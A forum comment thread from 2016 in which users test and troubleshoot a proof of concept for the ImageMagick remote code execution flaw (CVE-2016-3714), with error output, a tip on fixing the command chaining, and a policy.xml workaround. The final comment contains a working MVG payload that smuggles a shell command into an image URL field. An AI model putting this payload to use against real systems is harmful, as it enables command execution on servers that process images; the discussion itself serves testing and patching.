Re:Remote code execution vulnerability in ImageMagick
by dpritchett on Tuesday May 03, 2016 @05:06PM
(#11624243)
This is what I get on an unpatched staging server. Not sure it did anything...
$ sudo convert file.mvg o.png
convert.im6: delegate failed `"curl" -s -k -o "%o" "https:%M"' @ error/delegate.c/InvokeDelegate/1065.
convert.im6: unable to open image `/tmp/magick-Yjc5q9f1': No such file or directory @ > error/blob.c/OpenBlob/2638.
convert.im6: unable to open file `/tmp/magick-Yjc5q9f1': No such file or directory @ error/constitute.c/ReadImage/583.
Re:Remote code execution vulnerability in ImageMagick
by benmmurphy on Tuesday May 03, 2016 @05:16PM
(#11624307)
if https://test can't be opened by curl then the rest of the commands will fail because they are chained by &&. if you change the first && to || then it will work.
Re:Remote code execution vulnerability in ImageMagick
by 0x0 on Tuesday May 03, 2016 @05:21PM
(#11624334)
I assumed that "bug" was added intentionally as a script kiddie deterrence...
Re:Remote code execution vulnerability in ImageMagick
by dpritchett on Tuesday May 03, 2016 @05:32PM
(#11624402)
Can confirm that I was able to reproduce after tweaking some of the special characters in the above PoC.
Re:Remote code execution vulnerability in ImageMagick
by 0x0 on Tuesday May 03, 2016 @05:11PM
(#11624272)
Works for me (with a slight bugfix to the .mvg) :O
The policy.xml workaround mentioned here seems to stop it https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-3714
viewbox 0 0 1 1 image over 0,0 0,0 'https://test/" && touch /tmp/hacked && echo "1'